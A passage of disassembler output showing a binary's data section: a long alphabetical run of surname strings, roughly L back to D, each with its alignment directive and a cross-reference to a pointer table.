aLocatelli	db 'Locatelli',0        ; DATA XREF: ___:0042DFE0o
		align 4
aLizardo	db 'Lizardo',0          ; DATA XREF: ___:0042DFDCo
aLivolsi	db 'Livolsi',0          ; DATA XREF: ___:0042DFD8o
aLivi		db 'Livi',0             ; DATA XREF: ___:0042DFD4o
		align 4
aLivernash	db 'Livernash',0        ; DATA XREF: ___:0042DFD0o
		align 4
aLitvak		db 'Litvak',0           ; DATA XREF: ___:0042DFCCo
		align 10h
aLittle		db 'Little',0           ; DATA XREF: ___:0042DFC8o
		align 4
aLipponen	db 'Lipponen',0         ; DATA XREF: ___:0042DFC4o
		align 4
aLippmann	db 'Lippmann',0         ; DATA XREF: ___:0042DFC0o
		align 10h
aLinzee		db 'Linzee',0           ; DATA XREF: ___:0042DFBCo
		align 4
aLinehan	db 'Linehan',0          ; DATA XREF: ___:0042DFB8o
aLine		db 'Line',0             ; DATA XREF: ___:0042DFB4o
		align 4
aLinder		db 'Linder',0           ; DATA XREF: ___:0042DFB0o
		align 10h
aLinda		db 'Linda',0            ; DATA XREF: ___:0042DFACo
		align 4
aLinares	db 'Linares',0          ; DATA XREF: ___:0042DFA8o
aLim		db 'Lim',0              ; DATA XREF: ___:0042DFA4o
aLightfoot	db 'Lightfoot',0        ; DATA XREF: ___:0042DFA0o
		align 10h
aLight		db 'Light',0            ; DATA XREF: ___:0042DF9Co
		align 4
aLiem		db 'Liem',0             ; DATA XREF: ___:0042DF98o
		align 10h
aLidano		db 'Lidano',0           ; DATA XREF: ___:0042DF94o
		align 4
aLiakos		db 'Liakos',0           ; DATA XREF: ___:0042DF90o
		align 10h
aLessi		db 'Lessi',0            ; DATA XREF: ___:0042DF8Co
		align 4
aLesser		db 'Lesser',0           ; DATA XREF: ___:0042DF88o
		align 10h
aLEnclos	db 'l',27h,'Enclos',0   ; DATA XREF: ___:0042DF84o
		align 4
aLenard		db 'Lenard',0           ; DATA XREF: ___:0042DF80o
		align 4
aLeite		db 'Leite',0            ; DATA XREF: ___:0042DF7Co
		align 4
aLeclercq	db 'Leclercq',0         ; DATA XREF: ___:0042DF78o
		align 4
aLecce		db 'Lecce',0            ; DATA XREF: ___:0042DF74o
		align 10h
aLecar		db 'Lecar',0            ; DATA XREF: ___:0042DF70o
		align 4
aLawless	db 'Lawless',0          ; DATA XREF: ___:0042DF6Co
aLashley	db 'Lashley',0          ; DATA XREF: ___:0042DF68o
aLaserna	db 'Laserna',0          ; DATA XREF: ___:0042DF64o
aLanzit		db 'Lanzit',0           ; DATA XREF: ___:0042DF60o
		align 4
aLantieri	db 'Lantieri',0         ; DATA XREF: ___:0042DF5Co
		align 4
aLankes		db 'Lankes',0           ; DATA XREF: ___:0042DF58o
		align 4
aLandes		db 'Landes',0           ; DATA XREF: ___:0042DF54o
		align 4
aLallemant	db 'Lallemant',0        ; DATA XREF: ___:0042DF50o
		align 10h
aLaing		db 'Laing',0            ; DATA XREF: ___:0042DF4Co
		align 4
aLafler		db 'Lafler',0           ; DATA XREF: ___:0042DF48o
		align 10h
aLabunka	db 'Labunka',0          ; DATA XREF: ___:0042DF44o
aLa		db 'La',0               ; DATA XREF: ___:0042DF40o
		align 4
aKuwabara	db 'Kuwabara',0         ; DATA XREF: ___:0042DF3Co
		align 4
aKusman		db 'Kusman',0           ; DATA XREF: ___:0042DF38o
		align 10h
aKumar		db 'Kumar',0            ; DATA XREF: ___:0042DF34o
		align 4
aKuenzli	db 'Kuenzli',0          ; DATA XREF: ___:0042DF30o
aKrysiak	db 'Krysiak',0          ; DATA XREF: ___:0042DF2Co
aKroemer	db 'Kroemer',0          ; DATA XREF: ___:0042DF28o
aKraus		db 'Kraus',0            ; DATA XREF: ___:0042DF24o
		align 4
aKrasney	db 'Krasney',0          ; DATA XREF: ___:0042DF20o
aKrailo		db 'Krailo',0           ; DATA XREF: ___:0042DF1Co
		align 4
aKraemer	db 'Kraemer',0          ; DATA XREF: ___:0042DF18o
aKovaks		db 'Kovaks',0           ; DATA XREF: ___:0042DF14o
		align 4
aKotter		db 'Kotter',0           ; DATA XREF: ___:0042DF10o
		align 10h
aKorzybski	db 'Korzybski',0        ; DATA XREF: ___:0042DF0Co
		align 4
aKool		db 'Kool',0             ; DATA XREF: ___:0042DF08o
		align 4
aKonrad		db 'Konrad',0           ; DATA XREF: ___:0042DF04o
		align 4
aKoniaris	db 'Koniaris',0         ; DATA XREF: ___:0042DF00o
		align 4
aKommer		db 'Kommer',0           ; DATA XREF: ___:0042DEFCo
		align 10h
aKoivumaki	db 'Koivumaki',0        ; DATA XREF: ___:0042DEF8o
		align 4
aKohn		db 'Kohn',0             ; DATA XREF: ___:0042DEF4o
		align 4
aKoch		db 'Koch',0             ; DATA XREF: ___:0042DEF0o
		align 4
aKobrick	db 'Kobrick',0          ; DATA XREF: ___:0042DEECo
aKnuff		db 'Knuff',0            ; DATA XREF: ___:0042DEE8o
		align 4
aKlint		db 'Klint',0            ; DATA XREF: ___:0042DEE4o
		align 4
aKlinkenborg	db 'Klinkenborg',0      ; DATA XREF: ___:0042DEE0o
aKling		db 'Kling',0            ; DATA XREF: ___:0042DEDCo
		align 4
aKlemperer	db 'Klemperer',0        ; DATA XREF: ___:0042DED8o
		align 4
aKleinfelder	db 'Kleinfelder',0      ; DATA XREF: ___:0042DED4o
aKleiman	db 'Kleiman',0          ; DATA XREF: ___:0042DED0o
aKleckner	db 'Kleckner',0         ; DATA XREF: ___:0042DECCo
		align 4
aKittridge	db 'Kittridge',0        ; DATA XREF: ___:0042DEC8o
		align 10h
aKirscht	db 'Kirscht',0          ; DATA XREF: ___:0042DEC4o
aKippenberger	db 'Kippenberger',0     ; DATA XREF: ___:0042DEC0o
		align 4
aKinsley	db 'Kinsley',0          ; DATA XREF: ___:0042DEBCo
aKindall	db 'Kindall',0          ; DATA XREF: ___:0042DEB8o
aKimura		db 'Kimura',0           ; DATA XREF: ___:0042DEB4o
		align 10h
aKimmett	db 'Kimmett',0          ; DATA XREF: ___:0042DEB0o
aKimmel		db 'Kimmel',0           ; DATA XREF: ___:0042DEACo
		align 10h
aKhong		db 'Khong',0            ; DATA XREF: ___:0042DEA8o
		align 4
aKeul		db 'Keul',0             ; DATA XREF: ___:0042DEA4o
		align 10h
aKerry		db 'Kerry',0            ; DATA XREF: ___:0042DEA0o
		align 4
aKendall	db 'Kendall',0          ; DATA XREF: ___:0042DE9Co
aKemsley	db 'Kemsley',0          ; DATA XREF: ___:0042DE98o
aKempton	db 'Kempton',0          ; DATA XREF: ___:0042DE94o
aKelsey		db 'Kelsey',0           ; DATA XREF: ___:0042DE90o
		align 4
aKelker		db 'Kelker',0           ; DATA XREF: ___:0042DE8Co
		align 10h
aKeith		db 'Keith',0            ; DATA XREF: ___:0042DE88o
		align 4
aKeepper	db 'Keepper',0          ; DATA XREF: ___:0042DE84o
aKeenan		db 'Keenan',0           ; DATA XREF: ___:0042DE80o
		align 4
aKee		db 'Kee',0              ; DATA XREF: ___:0042DE7Co
aKawachi	db 'Kawachi',0          ; DATA XREF: ___:0042DE78o
aKasten		db 'Kasten',0           ; DATA XREF: ___:0042DE74o
		align 4
aKassower	db 'Kassower',0         ; DATA XREF: ___:0042DE70o
		align 4
aKarpouzes	db 'Karpouzes',0        ; DATA XREF: ___:0042DE6Co
		align 4
aKangis		db 'Kangis',0           ; DATA XREF: ___:0042DE68o
		align 4
aKamel		db 'Kamel',0            ; DATA XREF: ___:0042DE64o
		align 4
aKalman		db 'Kalman',0           ; DATA XREF: ___:0042DE60o
		align 4
aKalinowski	db 'Kalinowski',0       ; DATA XREF: ___:0042DE5Co
		align 4
aKalil		db 'Kalil',0            ; DATA XREF: ___:0042DE58o
		align 10h
aKaligian	db 'Kaligian',0         ; DATA XREF: ___:0042DE54o
		align 4
aKalbfleisch	db 'Kalbfleisch',0      ; DATA XREF: ___:0042DE50o
aKafadar	db 'Kafadar',0          ; DATA XREF: ___:0042DE4Co
aKaboolian	db 'Kaboolian',0        ; DATA XREF: ___:0042DE48o
		align 4
aKabbash	db 'Kabbash',0          ; DATA XREF: ___:0042DE44o
aJulious	db 'Julious',0          ; DATA XREF: ___:0042DE40o
aJuliano	db 'Juliano',0          ; DATA XREF: ___:0042DE3Co
aJucks		db 'Jucks',0            ; DATA XREF: ___:0042DE38o
		align 4
aJorgensen	db 'Jorgensen',0        ; DATA XREF: ___:0042DE34o
		align 4
aJolly		db 'Jolly',0            ; DATA XREF: ___:0042DE30o
		align 10h
aJohns		db 'Johns',0            ; DATA XREF: ___:0042DE2Co
		align 4
aJohannsen	db 'Johannsen',0        ; DATA XREF: ___:0042DE28o
		align 4
aJohannesson	db 'Johannesson',0      ; DATA XREF: ___:0042DE24o
aJewett		db 'Jewett',0           ; DATA XREF: ___:0042DE20o
		align 4
aJespersen	db 'Jespersen',0        ; DATA XREF: ___:0042DE1Co
		align 4
aJenkins	db 'Jenkins',0          ; DATA XREF: ___:0042DE18o
aJellis		db 'Jellis',0           ; DATA XREF: ___:0042DE14o
		align 4
aJeffers	db 'Jeffers',0          ; DATA XREF: ___:0042DE10o
aJay		db 'Jay',0              ; DATA XREF: ___:0042DE0Co
aJarrell	db 'Jarrell',0          ; DATA XREF: ___:0042DE08o
aJarnagin	db 'Jarnagin',0         ; DATA XREF: ___:0042DE04o
		align 4
aJanjigian	db 'Janjigian',0        ; DATA XREF: ___:0042DE00o
		align 10h
aJamil		db 'Jamil',0            ; DATA XREF: ___:0042DDFCo
		align 4
aJain		db 'Jain',0             ; DATA XREF: ___:0042DDF8o
		align 10h
aJagoe		db 'Jagoe',0            ; DATA XREF: ___:0042DDF4o
		align 4
aJagger		db 'Jagger',0           ; DATA XREF: ___:0042DDF0o
		align 10h
aJagers		db 'Jagers',0           ; DATA XREF: ___:0042DDECo
		align 4
aJackson	db 'Jackson',0          ; DATA XREF: ___:0042DDE8o
aJacenko	db 'Jacenko',0          ; DATA XREF: ___:0042DDE4o
aIyer		db 'Iyer',0             ; DATA XREF: ___:0042DDE0o
		align 10h
aIsserman	db 'Isserman',0         ; DATA XREF: ___:0042DDDCo
		align 4
aIsbill		db 'Isbill',0           ; DATA XREF: ___:0042DDD8o
		align 4
aIsaievych	db 'Isaievych',0        ; DATA XREF: ___:0042DDD4o
		align 10h
aIsaac		db 'Isaac',0            ; DATA XREF: ___:0042DDD0o
		align 4
aInniss		db 'Inniss',0           ; DATA XREF: ___:0042DDCCo
		align 10h
aInamura	db 'Inamura',0          ; DATA XREF: ___:0042DDC8o
aIgarashi	db 'Igarashi',0         ; DATA XREF: ___:0042DDC4o
		align 4
aIchikawa	db 'Ichikawa',0         ; DATA XREF: ___:0042DDC0o
		align 10h
aIaquinta	db 'Iaquinta',0         ; DATA XREF: ___:0042DDBCo
		align 4
aHyde		db 'Hyde',0             ; DATA XREF: ___:0042DDB8o
		align 4
aHutchings	db 'Hutchings',0        ; DATA XREF: ___:0042DDB4o
		align 10h
aHurtubise	db 'Hurtubise',0        ; DATA XREF: ___:0042DDB0o
		align 4
aHupp		db 'Hupp',0             ; DATA XREF: ___:0042DDACo
		align 4
aHuntington	db 'Huntington',0       ; DATA XREF: ___:0042DDA8o
		align 10h
aHungerford	db 'Hungerford',0       ; DATA XREF: ___:0042DDA4o
		align 4
aHuidekoper	db 'Huidekoper',0       ; DATA XREF: ___:0042DDA0o
		align 4
aHuey		db 'Huey',0             ; DATA XREF: ___:0042DD9Co
		align 10h
aHoy		db 'Hoy',0              ; DATA XREF: ___:0042DD98o
aHoward		db 'Howard',0           ; DATA XREF: ___:0042DD94o
		align 4
aHottle		db 'Hottle',0           ; DATA XREF: ___:0042DD90o
		align 4
aHostage	db 'Hostage',0          ; DATA XREF: ___:0042DD8Co
aHoshida	db 'Hoshida',0          ; DATA XREF: ___:0042DD88o
aHorsley	db 'Horsley',0          ; DATA XREF: ___:0042DD84o
aHopkins	db 'Hopkins',0          ; DATA XREF: ___:0042DD80o
aHooker		db 'Hooker',0           ; DATA XREF: ___:0042DD7Co
		align 4
aHolzman	db 'Holzman',0          ; DATA XREF: ___:0042DD78o
aHolway		db 'Holway',0           ; DATA XREF: ___:0042DD74o
		align 4
aHolter		db 'Holter',0           ; DATA XREF: ___:0042DD70o
		align 4
aHoloien	db 'Holoien',0          ; DATA XREF: ___:0042DD6Co
aHolmes		db 'Holmes',0           ; DATA XREF: ___:0042DD68o
		align 4
aHokoda		db 'Hokoda',0           ; DATA XREF: ___:0042DD64o
		align 4
aHokanson	db 'Hokanson',0         ; DATA XREF: ___:0042DD60o
		align 4
aHoffman	db 'Hoffman',0          ; DATA XREF: ___:0042DD5Co
aHoffer		db 'Hoffer',0           ; DATA XREF: ___:0042DD58o
		align 4
aHock		db 'Hock',0             ; DATA XREF: ___:0042DD54o
		align 10h
aHoang		db 'Hoang',0            ; DATA XREF: ___:0042DD50o
		align 4
aHitchcock	db 'Hitchcock',0        ; DATA XREF: ___:0042DD4Co
		align 4
aHirst		db 'Hirst',0            ; DATA XREF: ___:0042DD48o
		align 4
aHind		db 'Hind',0             ; DATA XREF: ___:0042DD44o
		align 4
aHimmelfarb	db 'Himmelfarb',0       ; DATA XREF: ___:0042DD40o
		align 10h
aHeyeck		db 'Heyeck',0           ; DATA XREF: ___:0042DD3Co
		align 4
aHeubert	db 'Heubert',0          ; DATA XREF: ___:0042DD38o
aHester		db 'Hester',0           ; DATA XREF: ___:0042DD34o
		align 4
aHerrera	db 'Herrera',0          ; DATA XREF: ___:0042DD30o
aHernandez	db 'Hernandez',0        ; DATA XREF: ___:0042DD2Co
		align 4
aHenrichs	db 'Henrichs',0         ; DATA XREF: ___:0042DD28o
		align 4
aHenery		db 'Henery',0           ; DATA XREF: ___:0042DD24o
		align 10h
aHemphill	db 'Hemphill',0         ; DATA XREF: ___:0042DD20o
		align 4
aHelprin	db 'Helprin',0          ; DATA XREF: ___:0042DD1Co
aHellmiss	db 'Hellmiss',0         ; DATA XREF: ___:0042DD18o
		align 10h
aHellman	db 'Hellman',0          ; DATA XREF: ___:0042DD14o
aHeiland	db 'Heiland',0          ; DATA XREF: ___:0042DD10o
aHeft		db 'Heft',0             ; DATA XREF: ___:0042DD0Co
		align 4
aHeermans	db 'Heermans',0         ; DATA XREF: ___:0042DD08o
		align 4
aHazlewood	db 'Hazlewood',0        ; DATA XREF: ___:0042DD04o
		align 10h
aHaynes		db 'Haynes',0           ; DATA XREF: ___:0042DD00o
		align 4
aHayes		db 'Hayes',0            ; DATA XREF: ___:0042DCFCo
		align 10h
aHawkes		db 'Hawkes',0           ; DATA XREF: ___:0042DCF8o
		align 4
aHaviaras	db 'Haviaras',0         ; DATA XREF: ___:0042DCF4o
		align 4
aHarwell	db 'Harwell',0          ; DATA XREF: ___:0042DCF0o
aHartnett	db 'Hartnett',0         ; DATA XREF: ___:0042DCECo
		align 4
aHartmann	db 'Hartmann',0         ; DATA XREF: ___:0042DCE8o
		align 4
aHartman	db 'Hartman',0          ; DATA XREF: ___:0042DCE4o
aHarrigan	db 'Harrigan',0         ; DATA XREF: ___:0042DCE0o
		align 4
aHarlow		db 'Harlow',0           ; DATA XREF: ___:0042DCDCo
		align 10h
aHargraves	db 'Hargraves',0        ; DATA XREF: ___:0042DCD8o
		align 4
aHarding	db 'Harding',0          ; DATA XREF: ___:0042DCD4o
aHanssen	db 'Hanssen',0          ; DATA XREF: ___:0042DCD0o
aHand		db 'Hand',0             ; DATA XREF: ___:0042DCCCo
		align 4
aHammerness	db 'Hammerness',0       ; DATA XREF: ___:0042DCC8o
		align 10h
aHamer		db 'Hamer',0            ; DATA XREF: ___:0042DCC4o
		align 4
aHambarzumjan	db 'Hambarzumjan',0     ; DATA XREF: ___:0042DCC0o
		align 4
aHalpert	db 'Halpert',0          ; DATA XREF: ___:0042DCBCo
aHallowell	db 'Hallowell',0        ; DATA XREF: ___:0042DCB8o
		align 4
aHalkias	db 'Halkias',0          ; DATA XREF: ___:0042DCB4o
aHaley		db 'Haley',0            ; DATA XREF: ___:0042DCB0o
		align 4
aHackshaw	db 'Hackshaw',0         ; DATA XREF: ___:0042DCACo
		align 4
aHackman	db 'Hackman',0          ; DATA XREF: ___:0042DCA8o
aHaar		db 'Haar',0             ; DATA XREF: ___:0042DCA4o
		align 4
aHa		db 'Ha',0               ; DATA XREF: ___:0042DCA0o
		align 4
aGuo		db 'Guo',0              ; DATA XREF: ___:0042DC9Co
aGunn		db 'Gunn',0             ; DATA XREF: ___:0042DC98o
		align 4
aGuenthart	db 'Guenthart',0        ; DATA XREF: ___:0042DC94o
		align 4
aGruppe		db 'Gruppe',0           ; DATA XREF: ___:0042DC90o
		align 4
aGruner		db 'Gruner',0           ; DATA XREF: ___:0042DC8Co
		align 4
aGrummell	db 'Grummell',0         ; DATA XREF: ___:0042DC88o
		align 10h
aGrigoletto	db 'Grigoletto',0       ; DATA XREF: ___:0042DC84o
		align 4
aGriffiths	db 'Griffiths',0        ; DATA XREF: ___:0042DC80o
		align 4
aGreenfeld	db 'Greenfeld',0        ; DATA XREF: ___:0042DC7Co
		align 4
aGreenberg	db 'Greenberg',0        ; DATA XREF: ___:0042DC78o
		align 10h
aGravell	db 'Gravell',0          ; DATA XREF: ___:0042DC74o
aGozzi		db 'Gozzi',0            ; DATA XREF: ___:0042DC70o
		align 10h
aGoody		db 'Goody',0            ; DATA XREF: ___:0042DC6Co
		align 4
aGoodearl	db 'Goodearl',0         ; DATA XREF: ___:0042DC68o
		align 4
aGood		db 'Good',0             ; DATA XREF: ___:0042DC64o
		align 4
aGoncalves	db 'Goncalves',0        ; DATA XREF: ___:0042DC60o
		align 4
aGoldfarb	db 'Goldfarb',0         ; DATA XREF: ___:0042DC5Co
		align 4
aGlendon	db 'Glendon',0          ; DATA XREF: ___:0042DC58o
aGlegg		db 'Glegg',0            ; DATA XREF: ___:0042DC54o
		align 4
aGleason	db 'Gleason',0          ; DATA XREF: ___:0042DC50o
aGist		db 'Gist',0             ; DATA XREF: ___:0042DC4Co
		align 4
aGillispie	db 'Gillispie',0        ; DATA XREF: ___:0042DC48o
		align 10h
aGill		db 'Gill',0             ; DATA XREF: ___:0042DC44o
		align 4
aGili		db 'Gili',0             ; DATA XREF: ___:0042DC40o
		align 10h
aGilbert	db 'Gilbert',0          ; DATA XREF: ___:0042DC3Co
aGibson		db 'Gibson',0           ; DATA XREF: ___:0042DC38o
		align 10h
aGibbens	db 'Gibbens',0          ; DATA XREF: ___:0042DC34o
aGhorai		db 'Ghorai',0           ; DATA XREF: ___:0042DC30o
		align 10h
aGerrett	db 'Gerrett',0          ; DATA XREF: ___:0042DC2Co
aGeorgi		db 'Georgi',0           ; DATA XREF: ___:0042DC28o
		align 10h
aGemberling	db 'Gemberling',0       ; DATA XREF: ___:0042DC24o
		align 4
aGeller		db 'Geller',0           ; DATA XREF: ___:0042DC20o
		align 4
aGaronna	db 'Garonna',0          ; DATA XREF: ___:0042DC1Co
aGarman		db 'Garman',0           ; DATA XREF: ___:0042DC18o
		align 4
aGarfield	db 'Garfield',0         ; DATA XREF: ___:0042DC14o
		align 10h
aGambini	db 'Gambini',0          ; DATA XREF: ___:0042DC10o
aGalwey		db 'Galwey',0           ; DATA XREF: ___:0042DC0Co
		align 10h
aGaleotti	db 'Galeotti',0         ; DATA XREF: ___:0042DC08o
		align 4
aGaggiotti	db 'Gaggiotti',0        ; DATA XREF: ___:0042DC04o
		align 4
aGabrielli	db 'Gabrielli',0        ; DATA XREF: ___:0042DC00o
		align 4
aFusaro		db 'Fusaro',0           ; DATA XREF: ___:0042DBFCo
		align 4
aFurth		db 'Furth',0            ; DATA XREF: ___:0042DBF8o
		align 4
aFuller		db 'Fuller',0           ; DATA XREF: ___:0042DBF4o
		align 4
aFujiiAbe	db 'Fujii-Abe',0        ; DATA XREF: ___:0042DBF0o
		align 4
aFrye		db 'Frye',0             ; DATA XREF: ___:0042DBECo
		align 10h
aFryberger	db 'Fryberger',0        ; DATA XREF: ___:0042DBE8o
		align 4
aFrowiss	db 'Frowiss',0          ; DATA XREF: ___:0042DBE4o
aFrisken	db 'Frisken',0          ; DATA XREF: ___:0042DBE0o
aFriedland	db 'Friedland',0        ; DATA XREF: ___:0042DBDCo
		align 4
aFried		db 'Fried',0            ; DATA XREF: ___:0042DBD8o
		align 10h
aFreundlich	db 'Freundlich',0       ; DATA XREF: ___:0042DBD4o
		align 4
aFreid		db 'Freid',0            ; DATA XREF: ___:0042DBD0o
		align 4
aFrazierDavis	db 'Frazier-Davis',0    ; DATA XREF: ___:0042DBCCo
		align 4
aFranz		db 'Franz',0            ; DATA XREF: ___:0042DBC8o
		align 4
aFranklinKenea	db 'Franklin-Kenea',0   ; DATA XREF: ___:0042DBC4o
		align 4
aFrancisco	db 'Francisco',0        ; DATA XREF: ___:0042DBC0o
		align 4
aFossi		db 'Fossi',0            ; DATA XREF: ___:0042DBBCo
		align 10h
aFossey		db 'Fossey',0           ; DATA XREF: ___:0042DBB8o
		align 4
aFortier	db 'Fortier',0          ; DATA XREF: ___:0042DBB4o
aFortes		db 'Fortes',0           ; DATA XREF: ___:0042DBB0o
		align 4
aForester	db 'Forester',0         ; DATA XREF: ___:0042DBACo
		align 4
aFolks		db 'Folks',0            ; DATA XREF: ___:0042DBA8o
		align 4
aFlores		db 'Flores',0           ; DATA XREF: ___:0042DBA4o
		align 4
aFlier		db 'Flier',0            ; DATA XREF: ___:0042DBA0o
		align 4
aFitzmaurice	db 'Fitzmaurice',0      ; DATA XREF: ___:0042DB9Co
aFisk		db 'Fisk',0             ; DATA XREF: ___:0042DB98o
		align 10h
aFiorina	db 'Fiorina',0          ; DATA XREF: ___:0042DB94o
aFinnegan	db 'Finnegan',0         ; DATA XREF: ___:0042DB90o
		align 4
aFinkelstein	db 'Finkelstein',0      ; DATA XREF: ___:0042DB8Co
aFink		db 'Fink',0             ; DATA XREF: ___:0042DB88o
		align 4
aField		db 'Field',0            ; DATA XREF: ___:0042DB84o
		align 10h
aFido		db 'Fido',0             ; DATA XREF: ___:0042DB80o
		align 4
aFeuer		db 'Feuer',0            ; DATA XREF: ___:0042DB7Co
		align 10h
aFerriell	db 'Ferriell',0         ; DATA XREF: ___:0042DB78o
		align 4
aFerrante	db 'Ferrante',0         ; DATA XREF: ___:0042DB74o
		align 4
aFernandes	db 'Fernandes',0        ; DATA XREF: ___:0042DB70o
		align 4
aFernald	db 'Fernald',0          ; DATA XREF: ___:0042DB6Co
aFeldman	db 'Feldman',0          ; DATA XREF: ___:0042DB68o
aFejzo		db 'Fejzo',0            ; DATA XREF: ___:0042DB64o
		align 4
aFeigenbaum	db 'Feigenbaum',0       ; DATA XREF: ___:0042DB60o
		align 4
aFates		db 'Fates',0            ; DATA XREF: ___:0042DB5Co
		align 10h
aFasso		db 'Fasso',27h,0        ; DATA XREF: ___:0042DB58o
		align 4
aFarren		db 'Farren',0           ; DATA XREF: ___:0042DB54o
		align 10h
aFarone		db 'Farone',0           ; DATA XREF: ___:0042DB50o
		align 4
aFaris		db 'Faris',0            ; DATA XREF: ___:0042DB4Co
		align 10h
aFalorsi	db 'Falorsi',0          ; DATA XREF: ___:0042DB48o
aFalcoAcosta	db 'Falco-Acosta',0     ; DATA XREF: ___:0042DB44o
		align 4
aFaioes		db 'Faioes',0           ; DATA XREF: ___:0042DB40o
		align 10h
aFagan		db 'Fagan',0            ; DATA XREF: ___:0042DB3Co
		align 4
aFabbris	db 'Fabbris',0          ; DATA XREF: ___:0042DB38o
aEverett	db 'Everett',0          ; DATA XREF: ___:0042DB34o
aEuripides	db 'Euripides',0        ; DATA XREF: ___:0042DB30o
		align 4
aEtter		db 'Etter',0            ; DATA XREF: ___:0042DB2Co
		align 4
aEstes		db 'Estes',0            ; DATA XREF: ___:0042DB28o
		align 4
aEspinoza	db 'Espinoza',0         ; DATA XREF: ___:0042DB24o
		align 10h
aErez		db 'Erez',0             ; DATA XREF: ___:0042DB20o
		align 4
aErdos		db 'Erdos',0            ; DATA XREF: ___:0042DB1Co
		align 10h
aErdman		db 'Erdman',0           ; DATA XREF: ___:0042DB18o
		align 4
aErbach		db 'Erbach',0           ; DATA XREF: ___:0042DB14o
		align 10h
aEppling	db 'Eppling',0          ; DATA XREF: ___:0042DB10o
aEnyeart	db 'Enyeart',0          ; DATA XREF: ___:0042DB0Co
aEncinas	db 'Encinas',0          ; DATA XREF: ___:0042DB08o
aElvis		db 'Elvis',0            ; DATA XREF: ___:0042DB04o
		align 10h
aElmerick	db 'Elmerick',0         ; DATA XREF: ___:0042DB00o
		align 4
aElmendorf	db 'Elmendorf',0        ; DATA XREF: ___:0042DAFCo
		align 4
aEliasson	db 'Eliasson',0         ; DATA XREF: ___:0042DAF8o
		align 4
aEickenhorst	db 'Eickenhorst',0      ; DATA XREF: ___:0042DAF4o
aEdward		db 'Edward',0           ; DATA XREF: ___:0042DAF0o
		align 4
aEdner		db 'Edner',0            ; DATA XREF: ___:0042DAECo
		align 10h
aEdley		db 'Edley',0            ; DATA XREF: ___:0042DAE8o
		align 4
aEckel		db 'Eckel',0            ; DATA XREF: ___:0042DAE4o
		align 10h
aEbeling	db 'Ebeling',0          ; DATA XREF: ___:0042DAE0o
aEardley	db 'Eardley',0          ; DATA XREF: ___:0042DADCo
aDwyer		db 'Dwyer',0            ; DATA XREF: ___:0042DAD8o
		align 4
aDussault	db 'Dussault',0         ; DATA XREF: ___:0042DAD4o
		align 4
aDurrett	db 'Durrett',0          ; DATA XREF: ___:0042DAD0o
aDuffin		db 'Duffin',0           ; DATA XREF: ___:0042DACCo
		align 4
aDSouza		db 'D',27h,'souza',0    ; DATA XREF: ___:0042DAC8o
aDrinker	db 'Drinker',0          ; DATA XREF: ___:0042DAC4o
aDowsland	db 'Dowsland',0         ; DATA XREF: ___:0042DAC0o
		align 10h
aDoug		db 'Doug',0             ; DATA XREF: ___:0042DABCo
		align 4
aDoty		db 'Doty',0             ; DATA XREF: ___:0042DAB8o
		align 10h
aDosi		db 'Dosi',0             ; DATA XREF: ___:0042DAB4o
		align 4
aDorf		db 'Dorf',0             ; DATA XREF: ___:0042DAB0o
		align 10h
aDore		db 'Dore',0             ; DATA XREF: ___:0042DAACo
		align 4
aDoonan		db 'Doonan',0           ; DATA XREF: ___:0042DAA8o
		align 10h
aDonner		db 'Donner',0           ; DATA XREF: ___:0042DAA4o
		align 4
aDonahue	db 'Donahue',0          ; DATA XREF: ___:0042DAA0o
aDoherty	db 'Doherty',0          ; DATA XREF: ___:0042DA9Co
aDockery	db 'Dockery',0          ; DATA XREF: ___:0042DA98o
aDirksen	db 'Dirksen',0          ; DATA XREF: ___:0042DA94o
aDionysius	db 'Dionysius',0        ; DATA XREF: ___:0042DA90o
		align 4
aDilworth	db 'Dilworth',0         ; DATA XREF: ___:0042DA8Co
		align 10h
aDifronzo	db 'Difronzo',0         ; DATA XREF: ___:0042DA88o
		align 4
aDifabio	db 'Difabio',0          ; DATA XREF: ___:0042DA84o
aDiefenbach	db 'Diefenbach',0       ; DATA XREF: ___:0042DA80o
		align 10h
aDicks		db 'Dicks',0            ; DATA XREF: ___:0042DA7Co
		align 4
aDFini		db 'D',27h,'fini',0     ; DATA XREF: ___:0042DA78o
		align 10h
aDeutsch	db 'Deutsch',0          ; DATA XREF: ___:0042DA74o
aDesombre	db 'Desombre',0         ; DATA XREF: ___:0042DA70o
		align 4
aDenison	db 'Denison',0          ; DATA XREF: ___:0042DA6Co
aDenham		db 'Denham',0           ; DATA XREF: ___:0042DA68o
		align 4
aDenault	db 'Denault',0          ; DATA XREF: ___:0042DA64o
aDemusz		db 'Demusz',0           ; DATA XREF: ___:0042DA60o
		align 4
aDempster	db 'Dempster',0         ; DATA XREF: ___:0042DA5Co
		align 10h
aDeming		db 'Deming',0           ; DATA XREF: ___:0042DA58o
		align 4
aDellAcqua	db 'Dell',27h,'acqua',0 ; DATA XREF: ___:0042DA54o
		align 4
aDelger		db 'Delger',0           ; DATA XREF: ___:0042DA50o
		align 4
aDeleonRendon	db 'Deleon-Rendon',0    ; DATA XREF: ___:0042DA4Co
		align 4
aDelattre	db 'Delattre',0         ; DATA XREF: ___:0042DA48o
		align 4
aDefeciani	db 'Defeciani',0        ; DATA XREF: ___:0042DA44o
		align 4
aDees		db 'Dees',0             ; DATA XREF: ___:0042DA40o
		align 4
aDebroff	db 'Debroff',0          ; DATA XREF: ___:0042DA3Co
aDerousse	db 'deRousse',0         ; DATA XREF: ___:0042DA38o
		align 10h
aDelEnclos	db 'del',27h,'Enclos',0 ; DATA XREF: ___:0042DA34o
		align 4
aDelapena	db 'DeLaPena',0         ; DATA XREF: ___:0042DA30o
		align 4
aDegennaro	db 'DeGennaro',0        ; DATA XREF: ___:0042DA2Co
		align 4
aDawkins	db 'Dawkins',0          ; DATA XREF: ___:0042DA28o
aDavid		db 'David',0            ; DATA XREF: ___:0042DA24o
		align 4
aDaskalu	db 'Daskalu',0          ; DATA XREF: ___:0042DA20o
aDasgupta	db 'Dasgupta',0         ; DATA XREF: ___:0042DA1Co
		align 4
aDas		db 'Das',0              ; DATA XREF: ___:0042DA18o
aDArcangelo	db 'D',27h,'arcangelo',0 ; DATA XREF: ___:0042DA14o
aDapice		db 'Dapice',0           ; DATA XREF: ___:0042DA10o
		align 10h
aDante		db 'Dante',0            ; DATA XREF: ___:0042DA0Co
		align 4
aDanieli	db 'Danieli',0          ; DATA XREF: ___:0042DA08o
aDAmbra		db 'D',27h,'Ambra',0    ; DATA XREF: ___:0042DA04o
aDaly		db 'Daly',0             ; DATA XREF: ___:0042DA00o
		align 10h
aDaldalian	db 'Daldalian',0        ; DATA XREF: ___:0042D9FCo
		align 4
aDasilva	db 'daSilva',0          ; DATA XREF: ___:0042D9F8o
